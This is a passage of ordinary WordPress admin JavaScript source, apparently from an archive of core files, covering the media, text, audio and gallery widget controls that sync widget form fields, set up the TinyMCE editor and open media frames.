inputs' string values into * the appropriate data types (integers or booleans). * * @param {string|Object} key - Attribute name or attribute pairs. * @param {mixed|Object} [val] - Attribute value or options object. * @param {Object} [options] - Options when attribute name and value are passed separately. * @return {wp.mediaWidgets.MediaWidgetModel} This model. */ set: function set( key, val, options ) { var model = this, attrs, opts, castedAttrs; // eslint-disable-line consistent-this if ( null === key ) { return model; } if ( 'object' === typeof key ) { attrs = key; opts = val; } else { attrs = {}; attrs[ key ] = val; opts = options; } castedAttrs = {}; _.each( attrs, function( value, name ) { var type; if ( ! model.schema[ name ] ) { castedAttrs[ name ] = value; return; } type = model.schema[ name ].type; if ( 'array' === type ) { castedAttrs[ name ] = value; if ( ! _.isArray( castedAttrs[ name ] ) ) { castedAttrs[ name ] = castedAttrs[ name ].split( /,/ ); // Good enough for parsing an ID list. } if ( model.schema[ name ].items && 'integer' === model.schema[ name ].items.type ) { castedAttrs[ name ] = _.filter( _.map( castedAttrs[ name ], function( id ) { return parseInt( id, 10 ); }, function( id ) { return 'number' === typeof id; } ) ); } } else if ( 'integer' === type ) { castedAttrs[ name ] = parseInt( value, 10 ); } else if ( 'boolean' === type ) { castedAttrs[ name ] = ! ( ! value || '0' === value || 'false' === value ); } else { castedAttrs[ name ] = value; } }); return Backbone.Model.prototype.set.call( this, castedAttrs, opts ); }, /** * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment). * * @return {Object} Reset/override props. */ getEmbedResetProps: function getEmbedResetProps() { return { id: 0 }; } }); /** * Collection of all widget model instances. * * @memberOf wp.mediaWidgets * * @type {Backbone.Collection} */ component.modelCollection = new ( Backbone.Collection.extend( { model: component.MediaWidgetModel }) )(); /** * Mapping of widget ID to instances of MediaWidgetControl subclasses. * * @memberOf wp.mediaWidgets * * @type {Object.<string, wp.mediaWidgets.MediaWidgetControl>} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @memberOf wp.mediaWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var fieldContainer, syncContainer, widgetForm, idBase, ControlConstructor, ModelConstructor, modelAttributes, widgetControl, widgetModel, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); widgetId = widgetForm.find( '> .widget-id' ).val(); // Prevent initializing already-added widgets. if ( component.widgetControls[ widgetId ] ) { return; } ControlConstructor = component.controlConstructors[ idBase ]; if ( ! ControlConstructor ) { return; } ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel; /* * Create a container element for the widget control (Backbone.View). * This is inserted into the DOM immediately before the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '<div></div>' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); /* * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state. * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>. */ modelAttributes = {}; syncContainer.find( '.media-widget-instance-property' ).each( function() { var input = $( this ); modelAttributes[ input.data( 'property' ) ] = input.val(); }); modelAttributes.widget_id = widgetId; widgetModel = new ModelConstructor( modelAttributes ); widgetControl = new ControlConstructor({ el: fieldContainer, syncContainer: syncContainer, model: widgetModel }); /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the container's dimensions are fixed so that ME.js * can initialize with the proper dimensions. */ renderWhenAnimationDone = function() { if ( ! widgetContainer.hasClass( 'open' ) ) { setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.render(); } }; renderWhenAnimationDone(); /* * Note that the model and control currently won't ever get garbage-collected * when a widget gets removed/deleted because there is no widget-removed event. */ component.modelCollection.add( [ widgetModel ] ); component.widgetControls[ widgetModel.get( 'widget_id' ) ] = widgetControl; }; /** * Setup widget in accessibility mode. * * @memberOf wp.mediaWidgets * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, widgetId, idBase, widgetControl, ControlConstructor, ModelConstructor, modelAttributes, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); ControlConstructor = component.controlConstructors[ idBase ]; if ( ! ControlConstructor ) { return; } widgetId = widgetForm.find( '> .widget-control-actions > .widget-id' ).val(); ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel; fieldContainer = $( '<div></div>' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); modelAttributes = {}; syncContainer.find( '.media-widget-instance-property' ).each( function() { var input = $( this ); modelAttributes[ input.data( 'property' ) ] = input.val(); }); modelAttributes.widget_id = widgetId; widgetControl = new ControlConstructor({ el: fieldContainer, syncContainer: syncContainer, model: new ModelConstructor( modelAttributes ) }); component.modelCollection.add( [ widgetControl.model ] ); component.widgetControls[ widgetControl.model.get( 'widget_id' ) ] = widgetControl; widgetControl.render(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @memberOf wp.mediaWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetContent, widgetId, widgetControl, attributes = {}; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } // Make sure the server-sanitized values get synced back into the model. widgetContent = widgetForm.find( '> .widget-content' ); widgetContent.find( '.media-widget-instance-property' ).each( function() { var property = $( this ).data( 'property' ); attributes[ property ] = $( this ).val(); }); // Suspend syncing model back to inputs when syncing from inputs to model, preventing infinite loop. widgetControl.stopListening( widgetControl.model, 'change', widgetControl.syncModelToInputs ); widgetControl.model.set( attributes ); widgetControl.listenTo( widgetControl.model, 'change', widgetControl.syncModelToInputs ); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.mediaWidgets.init(). * * @memberOf wp.mediaWidgets * * @return {void} */ component.init = function init() { var $document = $( document ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. if ( document.readyState === 'complete' ) { // Page is fully loaded. component.setupAccessibleMode(); } else { // Page is still loading. $( window ).on( 'load', function() { component.setupAccessibleMode(); }); } }); }; return component; })( jQuery ); js/widgets/text-widgets.js 0000644 00000043201 15233246127 0011621 0 ustar 00 /** * @output wp-admin/js/widgets/text-widgets.js */ /* global tinymce, switchEditors */ /* eslint consistent-this: [ "error", "control" ] */ /** * @namespace wp.textWidgets */ wp.textWidgets = ( function( $ ) { 'use strict'; var component = { dismissedPointers: [], idBases: [ 'text' ] }; component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{ /** * View events. * * @type {Object} */ events: {}, /** * Text widget control. * * @constructs wp.textWidgets.TextWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } Backbone.View.prototype.initialize.call( control, options ); control.syncContainer = options.syncContainer; control.$el.addClass( 'text-widget-fields' ); control.$el.html( wp.template( 'widget-text-control-fields' ) ); control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' ); if ( control.customHtmlWidgetPointer.length ) { control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); $( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' ); control.dismissPointers( [ 'text_widget_custom_html' ] ); }); control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); control.openAvailableWidgetsPanel(); }); } control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' ); if ( control.pasteHtmlPointer.length ) { control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.pasteHtmlPointer.hide(); control.editor.focus(); control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] ); }); } control.fields = { title: control.$el.find( '.title' ), text: control.$el.find( '.text' ) }; // Sync input fields to hidden sync fields which actually get sent to the server. _.each( control.fields, function( fieldInput, fieldName ) { fieldInput.on( 'input change', function updateSyncField() { var syncInput = control.syncContainer.find( '.sync-input.' + fieldName ); if ( syncInput.val() !== fieldInput.val() ) { syncInput.val( fieldInput.val() ); syncInput.trigger( 'change' ); } }); // Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event. fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() ); }); }, /** * Dismiss pointers for Custom HTML widget. * * @since 4.8.1 * * @param {Array} pointers Pointer IDs to dismiss. * @return {void} */ dismissPointers: function dismissPointers( pointers ) { _.each( pointers, function( pointer ) { wp.ajax.post( 'dismiss-wp-pointer', { pointer: pointer }); component.dismissedPointers.push( pointer ); }); }, /** * Open available widgets panel. * * @since 4.8.1 * @return {void} */ openAvailableWidgetsPanel: function openAvailableWidgetsPanel() { var sidebarControl; wp.customize.section.each( function( section ) { if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) { sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' ); } }); if ( ! sidebarControl ) { return; } setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse. wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl ); wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' ); }); }, /** * Update input fields from the sync fields. * * This function is called at the widget-updated and widget-synced events. * A field will only be updated if it is not currently focused, to avoid * overwriting content that the user is entering. * * @return {void} */ updateFields: function updateFields() { var control = this, syncInput; if ( ! control.fields.title.is( document.activeElement ) ) { syncInput = control.syncContainer.find( '.sync-input.title' ); control.fields.title.val( syncInput.val() ); } syncInput = control.syncContainer.find( '.sync-input.text' ); if ( control.fields.text.is( ':visible' ) ) { if ( ! control.fields.text.is( document.activeElement ) ) { control.fields.text.val( syncInput.val() ); } } else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) { control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) ); } }, /** * Initialize editor. * * @return {void} */ initializeEditor: function initializeEditor() { var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue; textarea = control.fields.text; id = textarea.attr( 'id' ); previousValue = textarea.val(); /** * Trigger change if dirty. * * @return {void} */ triggerChangeIfDirty = function() { var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced. if ( control.editor.isDirty() ) { /* * Account for race condition in customizer where user clicks Save & Publish while * focus was just previously given to the editor. Since updates to the editor * are debounced at 1 second and since widget input changes are only synced to * settings after 250ms, the customizer needs to be put into the processing * state during the time between the change event is triggered and updateWidget * logic starts. Note that the debounced update-widget request should be able * to be removed with the removal of the update-widget request entirely once * widgets are able to mutate their own instance props directly in JS without * having to make server round-trips to call the respective WP_Widget::update() * callbacks. See <https://core.trac.wordpress.org/ticket/33507>. */ if ( wp.customize && wp.customize.state ) { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 ); _.delay( function() { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 ); }, updateWidgetBuffer ); } if ( ! control.editor.isHidden() ) { control.editor.save(); } } // Trigger change on textarea when it has changed so the widget can enter a dirty state. if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) { textarea.trigger( 'change' ); needsTextareaChangeTrigger = false; previousValue = textarea.val(); } }; // Just-in-time force-update the hidden input fields. control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() { triggerChangeIfDirty(); }); /** * Build (or re-build) the visual editor. * * @return {void} */ function buildEditor() { var editor, onInit, showPointerElement; // Abort building if the textarea is gone, likely due to the widget having been deleted entirely. if ( ! document.getElementById( id ) ) { return; } // The user has disabled TinyMCE. if ( typeof window.tinymce === 'undefined' ) { wp.oldEditor.initialize( id, { quicktags: true, mediaButtons: true }); return; } // Destroy any existing editor so that it can be re-initialized after a widget-updated event. if ( tinymce.get( id ) ) { restoreTextMode = tinymce.get( id ).isHidden(); wp.oldEditor.remove( id ); } // Add or enable the `wpview` plugin. $( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) { // If somebody has removed all plugins, they must have a good reason. // Keep it that way. if ( ! init.plugins ) { return; } else if ( ! /\bwpview\b/.test( init.plugins ) ) { init.plugins += ',wpview'; } } ); wp.oldEditor.initialize( id, { tinymce: { wpautop: true }, quicktags: true, mediaButtons: true }); /** * Show a pointer, focus on dismiss, and speak the contents for a11y. * * @param {jQuery} pointerElement Pointer element. * @return {void} */ showPointerElement = function( pointerElement ) { pointerElement.show(); pointerElement.find( '.close' ).trigger( 'focus' ); wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() { return $( this ).text(); } ).get().join( '\n\n' ) ); }; editor = window.tinymce.get( id ); if ( ! editor ) { throw new Error( 'Failed to initialize editor' ); } onInit = function() { // When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built. $( editor.getWin() ).on( 'pagehide', function() { _.defer( buildEditor ); }); // If a prior mce instance was replaced, and it was in text mode, toggle to text mode. if ( restoreTextMode ) { switchEditors.go( id, 'html' ); } // Show the pointer. $( '#' + id + '-html' ).on( 'click', function() { control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer. if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) { return; } showPointerElement( control.customHtmlWidgetPointer ); }); // Hide the pointer when switching tabs. $( '#' + id + '-tmce' ).on( 'click', function() { control.customHtmlWidgetPointer.hide(); }); // Show pointer when pasting HTML. editor.on( 'pastepreprocess', function( event ) { var content = event.content; if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /<\w+.*?>/.test( content ) ) { return; } // Show the pointer after a slight delay so the user sees what they pasted. _.delay( function() { showPointerElement( control.pasteHtmlPointer ); }, 250 ); }); }; if ( editor.initialized ) { onInit(); } else { editor.on( 'init', onInit ); } control.editorFocused = false; editor.on( 'focus', function onEditorFocus() { control.editorFocused = true; }); editor.on( 'paste', function onEditorPaste() { editor.setDirty( true ); // Because pasting doesn't currently set the dirty state. triggerChangeIfDirty(); }); editor.on( 'NodeChange', function onNodeChange() { needsTextareaChangeTrigger = true; }); editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) ); editor.on( 'blur hide', function onEditorBlur() { control.editorFocused = false; triggerChangeIfDirty(); }); control.editor = editor; } buildEditor(); } }); /** * Mapping of widget ID to instances of TextWidgetControl subclasses. * * @memberOf wp.textWidgets * * @type {Object.<string, wp.textWidgets.TextWidgetControl>} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @memberOf wp.textWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Prevent initializing already-added widgets. widgetId = widgetForm.find( '.widget-id' ).val(); if ( component.widgetControls[ widgetId ] ) { return; } // Bypass using TinyMCE when widget is in legacy mode. if ( ! widgetForm.find( '.visual' ).val() ) { return; } /* * Create a container element for the widget control fields. * This is inserted into the DOM immediately before the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '<div></div>' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); widgetControl = new component.TextWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); component.widgetControls[ widgetId ] = widgetControl; /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the textarea is visible and an iframe can be embedded * with TinyMCE being able to set contenteditable on it. */ renderWhenAnimationDone = function() { if ( ! widgetContainer.hasClass( 'open' ) ) { setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.initializeEditor(); } }; renderWhenAnimationDone(); }; /** * Setup widget in accessibility mode. * * @memberOf wp.textWidgets * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, idBase, widgetControl, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Bypass using TinyMCE when widget is in legacy mode. if ( ! widgetForm.find( '.visual' ).val() ) { return; } fieldContainer = $( '<div></div>' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); widgetControl = new component.TextWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); widgetControl.initializeEditor(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @memberOf wp.textWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetId, widgetControl, idBase; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } widgetControl.updateFields(); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.textWidgets.init(). * * @memberOf wp.textWidgets * * @return {void} */ component.init = function init() { var $document = $( document ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. component.setupAccessibleMode(); }); }; return component; })( jQuery ); js/widgets/media-audio-widget.js 0000644 00000010274 15233246127 0012634 0 ustar 00 /** * @output wp-admin/js/widgets/media-audio-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component ) { 'use strict'; var AudioWidgetModel, AudioWidgetControl, AudioDetailsMediaFrame; /** * Custom audio details frame that removes the replace-audio state. * * @class wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame * @augments wp.media.view.MediaFrame.AudioDetails */ AudioDetailsMediaFrame = wp.media.view.MediaFrame.AudioDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame.prototype */{ /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.states.add([ new wp.media.controller.AudioDetails({ media: this.media }), new wp.media.controller.MediaLibrary({ type: 'audio', id: 'add-audio-source', title: wp.media.view.l10n.audioAddSourceTitle, toolbar: 'add-audio-source', media: this.media, menu: false }) ]); } }); /** * Audio widget model. * * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.modelConstructors.media_audio * @augments wp.mediaWidgets.MediaWidgetModel */ AudioWidgetModel = component.MediaWidgetModel.extend({}); /** * Audio widget control. * * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.controlConstructors.media_audio * @augments wp.mediaWidgets.MediaWidgetControl */ AudioWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_audio.prototype */{ /** * Show display settings. * * @type {boolean} */ showDisplaySettings: false, /** * Map model props to media frame props. * * @param {Object} modelProps - Model props. * @return {Object} Media frame props. */ mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) { var control = this, mediaFrameProps; mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps ); mediaFrameProps.link = 'embed'; return mediaFrameProps; }, /** * Render preview. * * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl; attachmentId = control.model.get( 'attachment_id' ); attachmentUrl = control.model.get( 'url' ); if ( ! attachmentId && ! attachmentUrl ) { return; } previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-audio-preview' ); previewContainer.html( previewTemplate({ model: { attachment_id: control.model.get( 'attachment_id' ), src: attachmentUrl }, error: control.model.get( 'error' ) })); wp.mediaelement.initialize(); }, /** * Open the media audio-edit frame to modify the selected item. * * @return {void} */ editMedia: function editMedia() { var control = this, mediaFrame, metadata, updateCallback; metadata = control.mapModelToMediaFrameProps( control.model.toJSON() ); // Set up the media frame. mediaFrame = new AudioDetailsMediaFrame({ frame: 'audio', state: 'audio-details', metadata: metadata }); wp.media.frame = mediaFrame; mediaFrame.$el.addClass( 'media-widget' ); updateCallback = function( mediaFrameProps ) { // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. control.selectedAttachment.set( mediaFrameProps ); control.model.set( _.extend( control.model.defaults(), control.mapMediaToModelProps( mediaFrameProps ), { error: false } ) ); }; mediaFrame.state( 'audio-details' ).on( 'update', updateCallback ); mediaFrame.state( 'replace-audio' ).on( 'replace', updateCallback ); mediaFrame.on( 'close', function() { mediaFrame.detach(); }); mediaFrame.open(); } }); // Exports. component.controlConstructors.media_audio = AudioWidgetControl; component.modelConstructors.media_audio = AudioWidgetModel; })( wp.mediaWidgets ); js/widgets/media-gallery-widget.js 0000644 00000024162 15233246127 0013173 0 ustar 00 /** * @output wp-admin/js/widgets/media-gallery-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component ) { 'use strict'; var GalleryWidgetModel, GalleryWidgetControl, GalleryDetailsMediaFrame; /** * Custom gallery details frame. * * @since 4.9.0 * @class wp.mediaWidgets~GalleryDetailsMediaFrame * @augments wp.media.view.MediaFrame.Post */ GalleryDetailsMediaFrame = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets~GalleryDetailsMediaFrame.prototype */{ /** * Create the default states. * * @since 4.9.0 * @return {void} */ createStates: function createStates() { this.states.add([ new wp.media.controller.Library({ id: 'gallery', title: wp.media.view.l10n.createGalleryTitle, priority: 40, toolbar: 'main-gallery', filterable: 'uploaded', multiple: 'add', editable: true, library: wp.media.query( _.defaults({ type: 'image' }, this.options.library ) ) }), // Gallery states. new wp.media.controller.GalleryEdit({ library: this.options.selection, editing: this.options.editing, menu: 'gallery' }), new wp.media.controller.GalleryAdd() ]); } } ); /** * Gallery widget model. * * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports. * * @since 4.9.0 * * @class wp.mediaWidgets.modelConstructors.media_gallery * @augments wp.mediaWidgets.MediaWidgetModel */ GalleryWidgetModel = component.MediaWidgetModel.extend(/** @lends wp.mediaWidgets.modelConstructors.media_gallery.prototype */{} ); GalleryWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_gallery.prototype */{ /** * View events. * * @since 4.9.0 * @type {object} */ events: _.extend( {}, component.MediaWidgetControl.prototype.events, { 'click .media-widget-gallery-preview': 'editMedia' } ), /** * Gallery widget control. * * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports. * * @constructs wp.mediaWidgets.controlConstructors.media_gallery * @augments wp.mediaWidgets.MediaWidgetControl * * @since 4.9.0 * @param {Object} options - Options. * @param {Backbone.Model} options.model - Model. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * @return {void} */ initialize: function initialize( options ) { var control = this; component.MediaWidgetControl.prototype.initialize.call( control, options ); _.bindAll( control, 'updateSelectedAttachments', 'handleAttachmentDestroy' ); control.selectedAttachments = new wp.media.model.Attachments(); control.model.on( 'change:ids', control.updateSelectedAttachments ); control.selectedAttachments.on( 'change', control.renderPreview ); control.selectedAttachments.on( 'reset', control.renderPreview ); control.updateSelectedAttachments(); /* * Refresh a Gallery widget partial when the user modifies one of the selected attachments. * This ensures that when an attachment's caption is updated in the media modal the Gallery * widget in the preview will then be refreshed to show the change. Normally doing this * would not be necessary because all of the state should be contained inside the changeset, * as everything done in the Customizer should not make a change to the site unless the * changeset itself is published. Attachments are a current exception to this rule. * For a proposal to include attachments in the customized state, see #37887. */ if ( wp.customize && wp.customize.previewer ) { control.selectedAttachments.on( 'change', function() { wp.customize.previewer.send( 'refresh-widget-partial', control.model.get( 'widget_id' ) ); } ); } }, /** * Update the selected attachments if necessary. * * @since 4.9.0 * @return {void} */ updateSelectedAttachments: function updateSelectedAttachments() { var control = this, newIds, oldIds, removedIds, addedIds, addedQuery; newIds = control.model.get( 'ids' ); oldIds = _.pluck( control.selectedAttachments.models, 'id' ); removedIds = _.difference( oldIds, newIds ); _.each( removedIds, function( removedId ) { control.selectedAttachments.remove( control.selectedAttachments.get( removedId ) ); }); addedIds = _.difference( newIds, oldIds ); if ( addedIds.length ) { addedQuery = wp.media.query({ order: 'ASC', orderby: 'post__in', perPage: -1, post__in: newIds, query: true, type: 'image' }); addedQuery.more().done( function() { control.selectedAttachments.reset( addedQuery.models ); }); } }, /** * Render preview. * * @since 4.9.0 * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, data; previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-gallery-preview' ); data = control.previewTemplateProps.toJSON(); data.attachments = {}; control.selectedAttachments.each( function( attachment ) { data.attachments[ attachment.id ] = attachment.toJSON(); } ); previewContainer.html( previewTemplate( data ) ); }, /** * Determine whether there are selected attachments. * * @since 4.9.0 * @return {boolean} Selected. */ isSelected: function isSelected() { var control = this; if ( control.model.get( 'error' ) ) { return false; } return control.model.get( 'ids' ).length > 0; }, /** * Open the media select frame to edit images. * * @since 4.9.0 * @return {void} */ editMedia: function editMedia() { var control = this, selection, mediaFrame, mediaFrameProps; selection = new wp.media.model.Selection( control.selectedAttachments.models, { multiple: true }); mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() ); selection.gallery = new Backbone.Model( mediaFrameProps ); if ( mediaFrameProps.size ) { control.displaySettings.set( 'size', mediaFrameProps.size ); } mediaFrame = new GalleryDetailsMediaFrame({ frame: 'manage', text: control.l10n.add_to_widget, selection: selection, mimeType: control.mime_type, selectedDisplaySettings: control.displaySettings, showDisplaySettings: control.showDisplaySettings, metadata: mediaFrameProps, editing: true, multiple: true, state: 'gallery-edit' }); wp.media.frame = mediaFrame; // See wp.media(). // Handle selection of a media item. mediaFrame.on( 'update', function onUpdate( newSelection ) { var state = mediaFrame.state(), resultSelection; resultSelection = newSelection || state.get( 'selection' ); if ( ! resultSelection ) { return; } // Copy orderby_random from gallery state. if ( resultSelection.gallery ) { control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) ); } 